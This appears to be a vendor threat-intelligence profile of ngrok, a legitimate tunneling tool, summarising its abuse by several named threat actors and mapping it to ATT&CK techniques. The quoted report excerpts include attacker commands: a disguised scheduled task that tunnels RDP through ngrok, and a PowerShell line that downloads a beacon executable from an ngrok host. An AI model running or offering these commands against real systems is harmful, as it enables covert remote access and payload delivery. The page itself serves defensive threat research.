Ngrok
ngrok is a legitimate tunneling and proxy utility that exposes local ports to the internet, optionally over TLS, and can proxy connections to systems located behind NAT or firewalls. In the provided reporting it is repeatedly abused by threat actors as a dual-use tool rather than described as a bespoke malware family. Observed malicious uses include tunneling RDP traffic over port 3389, establishing encrypted remote access to compromised internal servers and workstations, creating persistence when installed as a service, proxying command-and-control traffic to ngrok service subdomains, and configuring servers for data exfiltration. It was found alongside the Loki backdoor on infected machines, used by the Twelve threat actor to tunnel RDP and installed as a disguised service, used by Akira actors via nssm.exe to launch tunneling tools such as Ngrok or Ligolo-ng, attempted for download by the Iranian-aligned TunnelVision actor on compromised VMware Horizon servers and used there to tunnel RDP, retained by Vultur Android banking malware operators as part of remote-access functionality with AlphaVNC, referenced in Kimsuky/HappyDoor-related intrusions as an additional remote-access tool, deployed in a Microsoft Incident Response case to expose internal servers through encrypted tunnels for inbound RDP, used by UNC3944 as a covert tunneling tool to access devices without VPN or MFA, and used in the UNC2465 supply-chain intrusion for tunneling alongside UltraVNC. The content also maps ngrok to MITRE ATT&CK-related behaviors including Proxy, Protocol Tunneling, Web Service usage, and Exfiltration Over Web Service.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Vulnerabilities exploited
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.
Groups observed using it
5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The adversary used ngrok to tunnel traffic. They installed that utility immediately after connecting to the system, and set port 3389 (standard RDP port) in the configuration file.
In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.
The threat actor uses the additionally installed malware strains and proxy tools, such as Ngrok, to establish a proxy network environment.
"ngrok is a tool used to expose a local port to the internet. Optionally, tunnels can be secured with TLS."
...various covert tunneling tools, such as NGROK, RSOCX, and Localtonet.
Techniques & procedures
24 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Execution
3 techniques
Execution
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
Persistence
3 techniques
Persistence
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
Privilege Escalation
3 techniques
Privilege Escalation
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
Stealth
3 techniques
Stealth
To avoid detection, the attackers disguised their malware and tasks under the names of existing products or services
The threat actor used FRPC ( frpc.exe ) daily as reverse proxy, tunneling RDP over TLS. The FRPC ( frpc.exe ) task name was lpupdate and ran out of Input Method Editor (IME) directory. In other events, the threat actor has been observed hiding activity via ngrok.
Discovery
1 technique
Discovery
Lateral Movement
4 techniques
Lateral Movement
For this purpose, Scattered Spider established persistence using VPN access or Remote Monitoring and Management (RMM) tools.
After gaining access to the victim’s infrastructure, the attackers used the Remote Desktop Protocol (RDP) to move laterally.
Collection
1 technique
Collection
Command and Control
8 techniques
Command and Control
Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host... Cloudflared tunnels traffic through the Cloudflare network.
PowerShell invokes ngrok to communicate to a C2 server to retrieve malicious payload and write to disk powershell.exe /c (new-object System.Net.WebClient).DownloadFile('http://2f65dfe21ccb.ngrok.io/b3.exe','C:\tmp\beacon.exe')
Usage of the third-party tunneling tool Twingate... Tailscale, Ngrok, WsTunnel, Rsocx, and Socat.
The attackers used various dual-use and living-off-the-land tools for numerous purposes, including... Ngrok for network tunneling
Throughout the activity the usage of multiple legitimate services was observed... transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com
A PowerShell script like https://github.com/benyG/Invoke-Ngrok/blob/master/Invoke-Ngrok.ps1 can be leveraged by threat actors to drop and execute ngrok in a scripted fashion.
Exfiltration
1 technique
Exfiltration
ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.
IOCs tracked for this family
2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Recent activity
21 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Legitimate tunneling utility abused to proxy RDP traffic into compromised systems and support covert remote access.
A legitimate tunneling utility abused by the threat actor to expose internal systems through encrypted tunnels, enable covert inbound RDP access, support persistence, and mask the true source of lateral movement.
Legitimate tunneling service often abused by threat actors to create outbound tunnels for remote access and C2.
Tunneling utility used to establish remote access during Akira-related compromises.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.